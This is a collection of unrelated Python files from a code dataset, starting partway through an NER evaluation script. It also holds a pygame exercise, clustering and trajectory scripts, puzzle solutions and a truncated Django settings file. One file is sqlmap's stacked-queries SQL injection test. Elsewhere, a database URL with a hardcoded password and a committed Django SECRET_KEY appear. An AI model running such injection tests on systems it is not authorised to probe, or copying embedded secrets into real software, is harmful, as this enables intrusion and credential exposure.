fi.readline()\r\n \r\n while line:\r\n line = line.lower()# to make easier the comparison of strings\r\n line = line.split(\"\\t\")#to get entity type(ent) and entity(text)\r\n \r\n if len(line) <= 1: #check for empty lines\r\n line = fi.readline()\r\n continue\r\n \r\n ent = line[1]\r\n #get retrieved for precision\r\n if ent[0] == \"o\": #check if entity is O\r\n retrievedO += 1\r\n else:\r\n #not elif as there can be multiple types per entity\r\n #check if the enity is B or I\r\n if \"gene\" in ent or \"protein\" in ent:\r\n if ent[0] == \"b\":\r\n retrievedB[0] += 1\r\n else:\r\n retrievedI[0] += 1\r\n if \"anatomy\" in ent:\r\n if ent[0] == \"b\":\r\n retrievedB[1] += 1\r\n else:\r\n retrievedI[1] += 1\r\n if \"disorder\" in ent:\r\n if ent[0] == \"b\":\r\n retrievedB[2] += 1\r\n else:\r\n retrievedI[2] += 1\r\n \r\n text = line[0]\r\n \r\n ents.append(ent)\r\n texts.append(text)\r\n \r\n line = fi.readline()\r\n \r\n\r\n\r\nnum = 0\r\nwith open(\"1. iob\\\\cellfinder.iob2\", encoding=\"utf-8\") as fi:\r\n \r\n line = fi.readline()\r\n \r\n while line:\r\n print(num)#just to check progress, what line of the text are we at\r\n num += 1\r\n \r\n line = line.lower()\r\n line = line.split(\"\\t\")\r\n \r\n if len(line) <= 1: #check for empty lines\r\n line = fi.readline()\r\n continue\r\n \r\n ent = line[1]\r\n #get the relevants for recall\r\n if ent[0] == \"o\":\r\n relevantO += 1\r\n else:\r\n if \"gene\" in ent or \"protein\" in ent:\r\n if ent[0] == \"b\":\r\n relevantB[0] += 1\r\n else:\r\n relevantI[0] += 1\r\n if \"anatomy\" in ent:\r\n if ent[0] == \"b\":\r\n relevantB[1] += 1\r\n else:\r\n relevantI[1] += 1\r\n if \"disorder\" in ent:\r\n if ent[0] == \"b\":\r\n relevantB[2] += 1\r\n else:\r\n relevantI[2] += 1\r\n \r\n text = line[0]\r\n #check if the current line is found by the NER program\r\n if text in texts:\r\n index = texts.index(text)\r\n tmp = ents[ index ]\r\n \r\n del texts[index]\r\n del ents[index]\r\n \r\n if tmp[0] == \"o\" and ent[0] == \"o\":\r\n tpO += 1\r\n elif tmp[0] != \"o\" and tmp[0] == ent[0]:\r\n if (\"gene\" in ent or \"protein\" in ent) and (\"gene\" in tmp or \"protein\" in tmp):\r\n if tmp[0] == \"b\":\r\n tpB[0] += 1\r\n else:\r\n tpI[0] += 1\r\n if \"anatomy\" in ent and \"anatomy\" in tmp:\r\n if tmp[0] == \"b\":\r\n tpB[1] += 1\r\n else:\r\n tpI[1] += 1\r\n if \"disorder\" in ent and \"disorder\" in tmp:\r\n if tmp[0] == \"b\":\r\n tpB[2] += 1\r\n else:\r\n tpI[2] += 1\r\n \r\n \r\n \r\n line = fi.readline()\r\n\r\n#for micro and macro average\r\nrelevant = sum(relevantB) + sum(relevantI) + relevantO #sum of all relevant\r\nretrieved = sum(retrievedB) + sum(retrievedI) + retrievedO #sum of all retrieved\r\ntp = 0 # sum of all tp\r\nprec = 0 #sum of all precisions\r\nrec = 0 #sum of all recalls\r\n#for weighted average\r\nweighted_p = 0 \r\nweighted_r = 0\r\ntotal = 2*len(ett) + 1 #total number of classes, 2 for each ett entry(B and I) and +1 for O\r\n#print results\r\nfor i in range(0, len(ett)):\r\n #print the B\r\n if retrievedB[i] == 0 or relevantB[i] == 0 or tpB[i] == 0:\r\n precision = 0\r\n recall = 0\r\n f1 = 0\r\n else:\r\n precision = tpB[i]/retrievedB[i]\r\n recall = tpB[i]/relevantB[i]\r\n f1 = (2 * precision * recall) / (precision + recall)\r\n \r\n #for micro and macro average\r\n tp += tpB[i]\r\n prec += precision\r\n rec += recall\r\n #for weighted average\r\n weighted_p += ( precision * ( retrievedB[i] / retrieved ) )\r\n weighted_r += ( recall * ( relevantB[i] / relevant ) )\r\n \r\n print(\"B-{}: \".format(ett[i]))\r\n print(\"\\tPrecision: {}\".format(precision))\r\n print(\"\\tRecall: {}\".format(recall))\r\n print(\"\\tF1: {}\".format(f1))\r\n \r\n print(\"\\tTrue Positives: {}\".format(tpB[i]))\r\n print(\"\\tRelevant: {}\".format(relevantB[i]))\r\n print(\"\\tRetrieved: {}\".format(retrievedB[i]))\r\n \r\n #print the I\r\n if retrievedI[i] == 0 or relevantI[i] == 0 or tpI[i] == 0:\r\n precision = 0\r\n recall = 0\r\n f1 = 0\r\n else:\r\n precision = tpI[i]/retrievedI[i]\r\n recall = tpI[i]/relevantI[i]\r\n f1 = (2 * precision * recall) / (precision + recall)\r\n \r\n tp += tpI[i]\r\n prec += precision\r\n rec += recall\r\n #for weighted average\r\n weighted_p += ( precision * ( retrievedI[i] / retrieved ) )\r\n weighted_r += ( recall * ( relevantI[i] / relevant ) )\r\n \r\n print(\"I-{}: \".format(ett[i]))\r\n print(\"\\tPrecision: {}\".format(precision))\r\n print(\"\\tRecall: {}\".format(recall))\r\n print(\"\\tF1: {}\".format(f1))\r\n \r\n print(\"\\tTrue Positives: {}\".format(tpI[i]))\r\n print(\"\\tRelevant: {}\".format(relevantI[i]))\r\n print(\"\\tRetrieved: {}\".format(retrievedI[i]))\r\n \r\n#print the O\r\nif retrievedO == 0 or relevantO == 0 or tpO == 0:\r\n precision = 0\r\n recall = 0\r\n f1 = 0\r\nelse:\r\n precision = tpO/retrievedO\r\n recall = tpO/relevantO\r\n f1 = (2 * precision * recall) / (precision + recall)\r\n\r\n#for micro and macro average\r\ntp += tpO\r\nprec += precision\r\nrec += recall\r\n#for weighted average\r\nweighted_p += ( precision * ( retrievedO / retrieved ) )\r\nweighted_r += ( recall * ( relevantO / relevant ) )\r\n\r\nprint(\"O: \")\r\nprint(\"\\tPrecision: {}\".format(precision))\r\nprint(\"\\tRecall: {}\".format(recall))\r\nprint(\"\\tF1: {}\".format(f1))\r\n\r\nprint(\"\\tTrue Positives: {}\".format(tpO))\r\nprint(\"\\tRelevant: {}\".format(relevantO))\r\nprint(\"\\tRetrieved: {}\".format(retrievedO))\r\n\r\n#micro average\r\nmi_pre = tp/retrieved\r\nmi_rec = tp/relevant\r\nmi_f1 = (2 * mi_pre * mi_rec) / (mi_pre + mi_rec)\r\nprint(\"Micro Average: \")\r\nprint(\"\\tPrecision: {}\".format(mi_pre))\r\nprint(\"\\tRecall: {}\".format(mi_rec))\r\nprint(\"\\tF1: {}\".format(mi_f1))\r\n \r\n#macro average\r\nma_pre = prec/total\r\nma_rec = rec/total\r\nma_f1 = (2 * ma_pre * ma_rec) / (ma_pre + ma_rec)\r\nprint(\"Macro Average: \")\r\nprint(\"\\tPrecision: {}\".format(ma_pre))\r\nprint(\"\\tRecall: {}\".format(ma_rec))\r\nprint(\"\\tF1: {}\".format(ma_f1))\r\n\r\n#weighted average\r\nwe_pre = weighted_p\r\nwe_rec = weighted_r\r\nwe_f1 = (2 * we_pre * we_rec) / (we_pre + we_rec)\r\nprint(\"Weighted Average: \")\r\nprint(\"\\tPrecision: {}\".format(we_pre))\r\nprint(\"\\tRecall: {}\".format(we_rec))\r\nprint(\"\\tF1: {}\".format(we_f1))\r\n\r\nprint(time.time() - start_time)","sub_path":"code/tools/neji/pr_iob_neji.py","file_name":"pr_iob_neji.py","file_ext":"py","file_size_in_byte":7697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"562054324","text":"#!/usr/bin/env python\n\n\"\"\"\n$Id: stacked.py 2316 2010-11-08 16:46:25Z inquisb $\n\nCopyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)\nSee the file 'doc/COPYING' for copying permission\n\"\"\"\n\nimport time\n\nfrom lib.core.agent import agent\nfrom lib.core.common import calculateDeltaSeconds\nfrom lib.core.common import getDelayQuery\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.session import setStacked\nfrom lib.request import inject\n\ndef stackedTest():\n if conf.direct:\n return\n\n if kb.stackedTest is not None:\n return kb.stackedTest\n\n infoMsg = \"testing stacked queries sql injection on parameter \"\n infoMsg += \"'%s'\" % kb.injParameter\n logger.info(infoMsg)\n\n query = getDelayQuery()\n start = time.time()\n payload, _ = inject.goStacked(query)\n duration = calculateDeltaSeconds(start)\n\n if duration >= conf.timeSec:\n infoMsg = \"the target url is affected by a stacked queries \"\n infoMsg += \"sql injection on parameter '%s'\" % kb.injParameter\n logger.info(infoMsg)\n\n kb.stackedTest = agent.removePayloadDelimiters(payload, False)\n else:\n warnMsg = \"the target url is not affected by a stacked queries \"\n warnMsg += \"sql injection on parameter '%s'\" % kb.injParameter\n logger.warn(warnMsg)\n\n kb.stackedTest = False\n\n setStacked()\n\n return kb.stackedTest\n","sub_path":"mytester/tmp/scanners/sqlmap-dev/lib/techniques/outband/stacked.py","file_name":"stacked.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"113694349","text":"from sqlalchemy.engine import Engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, String, INT, create_engine, TEXT\n\nBase = declarative_base()\n\n\nclass VirusStatics(Base):\n __tablename__ = 'VirusStatics'\n\n id = Column(INT, primary_key=True, autoincrement=True)\n report_date = Column(String(10), comment=\"报导时间\")\n region = Column(String(10), comment=\"报导时间\")\n city = Column(String(10), comment=\"报导时间\")\n new_confirm = Column(INT, comment=\"新增确诊\")\n new_cure = Column(INT, comment=\"新增出院\")\n new_die = Column(INT, comment=\"新增死亡\")\n message_source = Column(String(50), comment=\"消息来源\")\n source_url_one = Column(TEXT, comment=\"来源链接1\")\n source_url_two = Column(TEXT, comment=\"来源链接2\")\n source_url_three = Column(TEXT, comment=\"来源链接3\")\n note = Column(String(150), comment=\"备注\")\n\n\nengine: Engine = create_engine('mysql+pymysql://lumia:1044740758@LumiaO:3306/VirusStatic')\nBase.metadata.drop_all(engine)\nBase.metadata.create_all(engine)\n","sub_path":"db/initDB.py","file_name":"initDB.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"463994655","text":"#!/usr/bin/python3\n\n# http://www.pythonchallenge.com/pc/return/bull.html\n\n# If needed, use username and password from challenge 8\n\n\nfrom itertools import groupby\n\n\ndef calc_seq_len(n, a):\n '''\n Inputs:\n n -- positive integer, number of the element in the sequence\n a -- string with the natural number, starting element\n\n Returns the number of characters in the n-th element of look-and-say sequence.\n\n More info on this sequence: https://en.wikipedia.org/wiki/Look-and-say_sequence\n '''\n\n if __debug__:\n assert isinstance(n, int)\n assert isinstance(a, str)\n assert n > 0\n assert a.isdigit()\n\n for _ in range(n):\n a = ''.join('{:d}{}'.format(len(''.join(g)), k) for k, g in groupby(a))\n\n return len(a)\n\n\nif __name__ == '__main__':\n\n # Pattern from http://www.pythonchallenge.com/pc/return/sequence.txt\n # a = [1, 11, 21, 1211, 111221]\n\n print('Magic word:', calc_seq_len(30, '1'))\n","sub_path":"Pythonchallenge solutions/pythonchallenge10.py","file_name":"pythonchallenge10.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"300345493","text":"import pandas as pd\n\nimport numpy as np\nfrom time import time\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.mplot3d.axes3d as p3\nfrom sklearn.cluster import AgglomerativeClustering\nimport scipy.cluster.hierarchy as hierarchy\nimport yellowbrick.cluster as ybc\n\ndef evaluate(original_data, infer):\n print(\"--Starting evaluation...\")\n categories = list()\n acertos = 0;\n total = len(infer)\n #print(\"Total = \" + str(total))\n\n for x in range(total):\n #print(\"Data:\" + str(original_data[x][0]) + \" label: \" + str(infer[x]+1))\n if original_data[x][0] == infer[x]+1:\n acertos+=1\n\n print(\"--Taxa de acerto: \" + str(acertos/total))\n\nprint(\"Loading dataset...\", end=\" \")\ndataset_name = \"wine.csv\"\n\noriginal = pd.read_csv(dataset_name, header=0)\n\nlabeled = original.values\n\ndf = original.drop(['class'], axis=1)\n\ndataset = df.values\n\nprint(\"done\")\n\n# ward minimizes the variance of the clusters being merged.\n# average uses the average of the distances of each observation of the two sets.\n# complete or maximum linkage uses the maximum distances between all observations of the two sets.\n\n'''\nCarregamos os dados com pandas.\n2 Usamos KMeans de sklearn.cluster\n3 Elimina a coluna que diz a classe das instˆancias para o\ntreinamento.\n4 Para cada ligação diferente, 'ward', 'average' e 'complete', cria-se um modelo definindo o número de clusters, e a função de distância.\n5 Gera-se o dendograma para cada ligação diferente.\n6 Apos isso:\n1 Fazemos teste com todas as instancias verificando se a classe real\ndelas ´e igual `a classe agrupada pelo algoritmo.\n'''\nfor linkage in ('ward', 'average', 'complete'):\n clustering = AgglomerativeClustering(affinity = 'euclidean', linkage=linkage, n_clusters=3)\n t0 = time()\n\n result = clustering.fit_predict(dataset)\n print(\"%s : %.2fs\" % (linkage, time() - t0))\n print(\"--n_leaves: \" + str(clustering.n_leaves_))\n\n evaluate(labeled, result)\n\n Z = hierarchy.linkage(dataset, linkage)\n\n plt.figure(figsize=(10, 10))\n plt.title('Dendrogram for ' + linkage + \" linkage\")\n plt.xlabel('sample index')\n plt.ylabel('distance')\n hierarchy.dendrogram(\n Z,\n truncate_mode='lastp', # show only the last p merged clusters\n p=10, # show only the last p merged clusters\n leaf_rotation=90.,\n leaf_font_size=12.,\n show_contracted=True # to get a distribution impression in truncated branches\n )\n\n plt.show()\n\n'''\n plt.figure(figsize=(10, 10))\n plt.title('Dendrogram for ' + linkage + \" linkage\")\n plt.xlabel('sample index')\n plt.ylabel('distance')\n hierarchy.dendrogram(\n Z,\n #truncate_mode='lastp', # show only the last p merged clusters\n #p=3, # show only the last p merged clusters\n leaf_rotation=90.,\n leaf_font_size=12.,\n show_contracted=True # to get a distribution impression in truncated branches\n )\n\n plt.show()\n'''","sub_path":"clustering/hierarquical-clustering-wine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"514409151","text":"__author__ = \"Bungogood\"\n\n'''\nProblem 2\n\nEven Fibonacci numbers\n'''\n\ndef f():\n total, a, b = 0, 1, 2\n while a < 4000000:\n if b%2 == 0:\n total += b\n a, b = b, b+a\n return total\n\nif __name__ == \"__main__\":\n print(f())","sub_path":"Problem-002.py","file_name":"Problem-002.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"514149049","text":"# Import a library of functions called 'pygame'\nimport pygame\n#import pygamehelper\n#for arcs circles etc.\n#import math.pi\nPI = 3.141592653\n\n# Imported libraries are the syntax library.function\n# Initialize the game engine\npygame.init()\n\n#define colors\n''' why are these in color variable in upper case?\n#they are variables that are constants, ie dont change.\n#if its more like a sky_color that changes as the sunsets\n#we would then revert to using lower case.'''\n\nBLACK = ( 0, 0, 0)\nWHITE = ( 255, 255, 255)\nGREEN = ( 0, 255, 0) \nRED = ( 255, 0, 0)\nBLUE = ( 000, 000, 255)\nYELLOW = (255,255,0)\n\n# Set the width and height of the screen\nsize=[700,500]\nscreen=pygame.display.set_mode(size)\n\n\n\n\npygame.display.set_caption(\"Zombies Ate my Arcades\")\n\n# setting up the main program loop\n#loop until the user clicks the close button\nreset_score = False\ndone = False #Loop control\n\n#score control\nscore = 200\nup = True\n#used to manage how fast the screen updates\nclock = pygame.time.Clock()\n\nfont = pygame.font.Font(None, 25)\n \nframe_count = 0\nframe_rate = 60\nstart_time = 90\n\n'''# --------- Main Program Loop -----------'''\nwhile not done:\n # --- Main even loop\n for event in pygame.event.get(): #User did something\n if event.type == pygame.QUIT: # if user clicked close\n done = True # Flag that we are done so we exit this loop\n pos = pygame.mouse.get_pos()\n pos_chng = pygame.mouse.get_pos()\n if pos[0] - pos_chng[0] != 0:\n print(pos)\n \n '''# --- Game logic should go here'''\n if reset_score == True:\n score = 200\n reset_score = False\n if score < 300 and up == True:\n score += 1\n elif score > 200 and up == False:\n score -= 1\n elif score == 200:\n up = True\n elif score == 300:\n up = False\n\n #else:\n #reset_score = True\n varicolor = ( 255, score - 200 , score-200) \n \n '''# --- Drawing code should go here'''\n pygame.draw.circle(screen, (0,0,0), (250, 250), 20)\n \n # First, clear the screen to white. Don't put other drawing\n #commands above this, or they will be erased with this command\n screen.fill(varicolor)\n\n '''# --- go ahead and update the screen with what we've drawn.\n \n # Draw on the screen a green line from (0, 0) to (100, 100)\n # that is 5 pixels wide.'''\n #pygame.draw.line(screen, GREEN, [0, 0], [100, 100], 5)\n #pygame.draw.line(screen, BLUE, [200, 700], [0, 0] , 5)\n\n #draw shapes\n \n #draw a rectangle\n '''pygame.draw.rect(screen, BLACK, [ 50, 50, 250, 100], 2)'''\n #pygame.draw.ellipse(screen, BLACK, [ 50, 50, 250, 100], 2)\n pygame.draw.rect(screen, BLACK, [ (score), 120, 250, 200], 2)\n pygame.draw.rect(screen, BLACK, [ (pos)[0], (pos)[1], 250, 200], 10)\n pygame.draw.rect(screen, RED, [ 50, 50, 250, 100],2)\n pygame.draw.arc(screen, GREEN, [ 250, 120, 250, 200], PI/2, PI, 2)\n pygame.draw.arc(screen, BLACK, [ 250, 120, 250, 200], 0, PI / 2, 2)\n pygame.draw.arc(screen, RED, [ 250, 120, 250, 200], 3*PI/2, 2*PI, 2)\n pygame.draw.arc(screen, BLUE, [250,120,250,200], PI, 3*PI/2, 2)\n\n \n #triangle\n pygame.draw.polygon(screen, BLACK, [[200,100], [0,200], [200,200]], 3)\n pygame.draw.polygon\n\n #5.17 Drawing Text\n # select the font to use, size, bold italics\n font = pygame.font.SysFont('Calibri', 25, True, False)\n \n #create image stamp\n '''text = font.render(\"My text\",True,BLACK)'''\n text = font.render(\"Score: \" + str(score), True, BLACK)\n #put the image to the screen at 250x250\n screen.blit(text, [400,250])\n\n #Timer on screen #timer going up.\n #Calculate total seconds\n total_seconds = frame_count // frame_rate\n\n #Divide by 60 to get total minutes\n minutes = total_seconds // 60\n\n #use modulus (remainder) to get seconds\n seconds = total_seconds % 60\n\n # Use Python strin formatting to format in leading zeros\n output_string = \"Time: {0:02}:{1:02}\".format(minutes, seconds)\n\n # Blit to the screen\n text = font.render(output_string, True, BLACK)\n screen.blit(text, [250, 250])\n \n \n # --- Timer going down ---\n # --- Timer going up ---\n # Calculate total seconds\n total_seconds = start_time - (frame_count // frame_rate)\n if total_seconds < 0:\n total_seconds = 0\n \n # Divide by 60 to get total minutes\n minutes = total_seconds // 60\n \n # Use modulus (remainder) to get seconds\n seconds = total_seconds % 60\n \n # Use python string formatting to format in leading zeros\n output_string = \"Time left: {0:02}:{1:02}\".format(minutes, seconds)\n \n # Blit to the screen\n text = font.render(output_string, True, BLACK)\n \n screen.blit(text, [250, 280])\n \n # ALL CODE TO DRAW SHOULD GO ABOVE THIS COMMENT\n frame_count += 1\n \n \n # Draw on the screen several lines from (0, 10) to (100, 110)\n # 5 pixels wide using a while loop\n y_offset = 0\n '''while y_offset < 100:\n pygame.draw.line(screen,RED,[0,10+y_offset],[100,110+y_offset],5)\n y_offset = y_offset + 10'''\n\n for y_offset in range(0, 100, 10):\n pygame.draw.line(screen,RED,[0,10+y_offset],[100,110+y_offset],5)\n \n # Syntax = pygame.draw.rect(Surface, color, rect, width=0): return Rect\n #Sets variable back to zero\n y_offset = 0\n \n pygame.draw.rect(screen,RED,[55, 500, 10, 5])\n for y_offset in range(0, 200, 20):\n pygame.draw.line(screen,YELLOW,[50, 20+y_offset],[150, 160+y_offset], 5)\n for i in range(200):\n \n radians_x = i / 20\n radians_y = i / 6\n import math\n x = int( 75 * math.sin(radians_x)) + 400\n y = int( 75 * math.cos(radians_y)) + 200\n\n pygame.draw.line(screen, YELLOW, [x,y], [x+5,y], 3)\n pygame.draw.polygon(screen, BLACK, [[50,100],[0,200],[200,200],[100,50]], 5)\n pygame.draw.circle(screen, BLACK, [400, 400], 25)\n\n pygame.display.flip()\n # -- Limit to 20 frames per second\n clock.tick(20)\n\n# Close the window and quit\n#If you forget the line, the program will 'hang'\n# on exit if running from the IDLE.\npygame.quit()\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n","sub_path":"Chapter 5 py game project.py","file_name":"Chapter 5 py game project.py","file_ext":"py","file_size_in_byte":6169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"407005390","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport os\nimport numpy as np\nimport pandas as pd\nfrom geolife_parser import *\nfrom geolife_data import upsample_df\n\n# %matplotlib inline\n# get_ipython().run_line_magic('load_ext', 'autoreload')\n# get_ipython().run_line_magic('autoreload', '2')\n\n\n# In[2]:\n\n\nimport pandas as pd\nif os.path.exists(\"geolife.pkl\"):\n data = pd.read_pickle('geolife.pkl') # reads 'geolife.pkl' into df\nelse:\n data = read_all_users(\"./Data\")\n data.to_pickle('geolife.pkl')\n\n\n# In[3]:\n\n\ndata.head()\n\n\n# There are several trips in which users have used multiple transport modes. To identify them uniquely let's augment trip_ids with transport_mode.\n\n# In[4]:\n\n\ndata[\"trip_id\"] = data[\"trip_id\"] + \"#\" + data[\"transport_mode\"].astype(str)\n\n\n# In[5]:\n\n\ndata.head()\n\n\n# In[7]:\n\n\nprint(\"Transport modes: \", list(map(lambda x: get_transport_label(x), sorted(data.transport_mode.dropna().unique().astype(np.int)))))\n\n\n# We're looking for trajectories with interesting behaviors, so that we can learn those behaviors. Now the question is, what is interesting? \n# \n# Let's consider a 2d state space. Are straight lines interesting? Of course, no. Straight lines don't tell us anything new that we don't already know. Any trivial reward function can explain such trajectories e.g., $R(s) = 0, \\forall s \\in S$. For all trajectories that can be explained without knowing the reward function, in other words, those that can be explained assuming a constant reward function over the state space, we don't need Markov Decision Processes. It's because there's no utility to be maximized, they are simply processes which under the Markov assumption can also be studied without any animal interaction.\n# \n# To illustrate, consider a sink in some gravitational environment, the water is going to go down in it. There's a lot of value in modeling that, but in the contex of IRL we want to learn from expert demonstrations, so modeling human behavior is very useful. We don't want to model inanimate things, we want to model intelligent animal behavior and learn from it.\n# \n# To do this, we're going to have to filter interesting trajectories first. To keep filtering simple, let's only consider trajectories with transport mode specified, and let's further limit ourself to only \"car\" trajectories.\n\n# In[8]:\n\n\ndata = data[~pd.isna(data.transport_mode)]\ndata.transport_mode = data.transport_mode.astype(np.int).values\n\n\n# In[9]:\n\n\n# let's use string representation for transport mode\ndata.loc[:, \"transport_mode\"] = data[\"transport_mode\"].apply(lambda x: get_transport_label(x)).values\n\n\n# In[10]:\n\n\ndata.head()\n\n\n# In[11]:\n\n\ndef plot_trips_by_user(data):\n trips_by_user = data.groupby([\"user_id\"])[\"trip_id\"].nunique()\n trips_by_user.name = \"ntrip\"\n ax = trips_by_user.plot(kind=\"bar\", figsize=(16,10), title=\"Trips by User\");\n ax.set_ylabel(\"Number of trips\")\n return trips_by_user\n\ndef plot_trips_by_transport(data):\n trips_by_transport = data.groupby([\"transport_mode\"])[\"trip_id\"].nunique()\n trips_by_transport.name = \"ntrip\"\n ax = trips_by_transport.plot(kind=\"bar\", figsize=(16,10), title=\"Trips by Transport Mode\");\n ax.set_ylabel(\"Number of trips\")\n for p in ax.patches:\n ax.annotate(str(p.get_height()), (p.get_x() * 1.005, p.get_height() * 1.005))\n return trips_by_transport\n\n\n# In[12]:\n\n\ntrips_by_user = plot_trips_by_user(data)\n\n\n# In[13]:\n\n\ntrips_by_transport = plot_trips_by_transport(data)\n\n\n# ## Select car trajectories\n\n# In[14]:\n\n\nselect_transport_mode = \"car\"\ndata = data[data.transport_mode == select_transport_mode]\n\n\n# In[15]:\n\n\nprint(\"No. of {} trajectories: {}\".format(select_transport_mode, data.trip_id.nunique()))\n\n\n# In[16]:\n\n\ndata.to_csv(\"./geolife_car_trips.csv\")\n\nprint(\"Done.\")","sub_path":"Datasets/GeolifeTrajectories1.3/geolife_sample_car_trajectories.py","file_name":"geolife_sample_car_trajectories.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"63558595","text":"\"\"\"\nDjango settings for msurvey project.\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.6/topics/settings/\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.6/ref/settings/\n\"\"\"\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nimport connection\nimport djcelery\n\ndjcelery.setup_loader()\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\nSITE_ROOT = os.path.dirname(os.path.dirname(__file__))\n\nBASE_URL = \"/\"\n\nAUTH_PROFILE_MODULE = 'professional.User_Profile'\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\n#SECRET_KEY = 'z#+3!xu4u%a6n_!dqj9uax%2(4qrwgtig94kf9u=t8iic@39^a'\nSECRET_KEY = '-3&z61j6r@t%(5ql8y_h+ifpompl816%#+=%w!858^6q)^00z='\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = connection.DEBUG\n\nTEMPLATE_DEBUG = True\n\nALLOWED_HOSTS = [\n '127.0.0.1',\n '54.244.225.66',\n '.54.244.225.66',\n '.54.244.225.66.',\n '54.212.254.246',\n '.54.212.254.246.',\n '54.245.241.13',\n '.54.245.241.13',\n '.54.245.241.13.',\n '.msurvey.co.ke', # Allow domain and subdomains\n '.msurvey.co.ke.', # Also allow FQDN and subdomains\n '.msurvey.co.za', # Allow domain and subdomains\n '.msurvey.co.za.', # Also allow FQDN and subdomains\n '.msurvey.co.tt', # Allow domain and subdomains\n '.msurvey.co.tt.', # Also allow FQDN and subdomains\n '.msurvey.com.ph', # Allow domain and subdomains\n '.msurvey.com.ph.', # Also allow FQDN and subdomains\n '.msurvey.co'\n ]\n\nADMINS = (\n ('Evelyn Mwangi', 'evelyn.muthoni@msurvey.co.ke'),\n (\"Wanjala John\", \"john.wanjala@msurvey.co.ke\"),\n (\"Michael Mwangi\", \"michael.mwangi@msurvey.co.ke\"),\n)\n\nINTERNAL_IPS = ('127.0.0.1','54.92.167.86','0.0.0.0')\n\n\n\nDEFAULT_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n)\n\n\n\nTHIRD_PARTY_APPS = (\n # 'django_jenkins',\n # 'discover_jenkins',\n # 'fixture_magic',\n # 'django_nose',\n # 'djsupervisor',\n # 'djcelery',\n 'rest_framework',\n 'rest_framework_swagger',\n # 'tastypie',\n 'debug_toolbar',\n 'django_tables2',\n # 'longerusernameandemail',\n # 'endless_pagination',\n )\n\n\nLOCAL_APPS = (\n 'noe.dashboard',\n 'noe.scheduler',\n)\n\nINSTALLED_APPS = DEFAULT_APPS + THIRD_PARTY_APPS + LOCAL_APPS\n\nAPPS_WITH_TASKS = (\n 'noe.scheduler',\n )\n\nMIDDLEWARE_CLASSES = (\n #'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n #'profiler.middleware.ProfilerMiddleware',\n #'project.middlewares.Standardize_timezone',\n 'project.middlewares.Timeout',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.core.context_processors.tz\",\n \"django.core.context_processors.request\",\n \"django.contrib.messages.context_processors.messages\",\n \"noe.dashboard.globals.app_settings\",\n \"django.core.context_processors.request\",\n)\n\nDEBUG_TOOLBAR_PATCH_SETTINGS = False\nDEBUG_TOOLBAR_PANELS = [\n 'debug_toolbar.panels.versions.VersionsPanel',\n 'debug_toolbar.panels.timer.TimerPanel',\n 'debug_toolbar.panels.settings.SettingsPanel',\n 'debug_toolbar.panels.headers.HeadersPanel',\n 'debug_toolbar.panels.request.RequestPanel',\n 'debug_toolbar.panels.sql.SQLPanel',\n 'debug_toolbar.panels.staticfiles.StaticFilesPanel',\n 'debug_toolbar.panels.templates.TemplatesPanel',\n 'debug_toolbar.panels.cache.CachePanel',\n 'debug_toolbar.panels.signals.SignalsPanel',\n 'debug_toolbar.panels.logging.LoggingPanel',\n 'debug_toolbar.panels.redirects.RedirectsPanel',\n]\n\nROOT_URLCONF = 'project.urls'\n\nWSGI_APPLICATION = 'project.wsgi.application'\n\nLOGIN_URL = BASE_URL + 'accounts/login'\nLOGIN_REDIRECT_URL = BASE_URL\n\n# Database\n# https://docs.djangoproject.com/en/1.6/ref/settings/#databases\n\n# DATABASES = {\n# 'default': {\n# 'ENGINE': 'django.db.backends.sqlite3',\n# 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n# }\n# }\nDATABASES = {\n 'default': {\n 'ENGINE': connection.ENGINE, #'django.db.backends.mysql', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'.\n 'NAME': connection.NAME, # Or path to database file if using sqlite3.\n 'USER': connection.USER, # Not used with sqlite3.\n 'PASSWORD': connection.PASSWORD, # Not used with sqlite3.\n 'HOST': connection.HOST, # 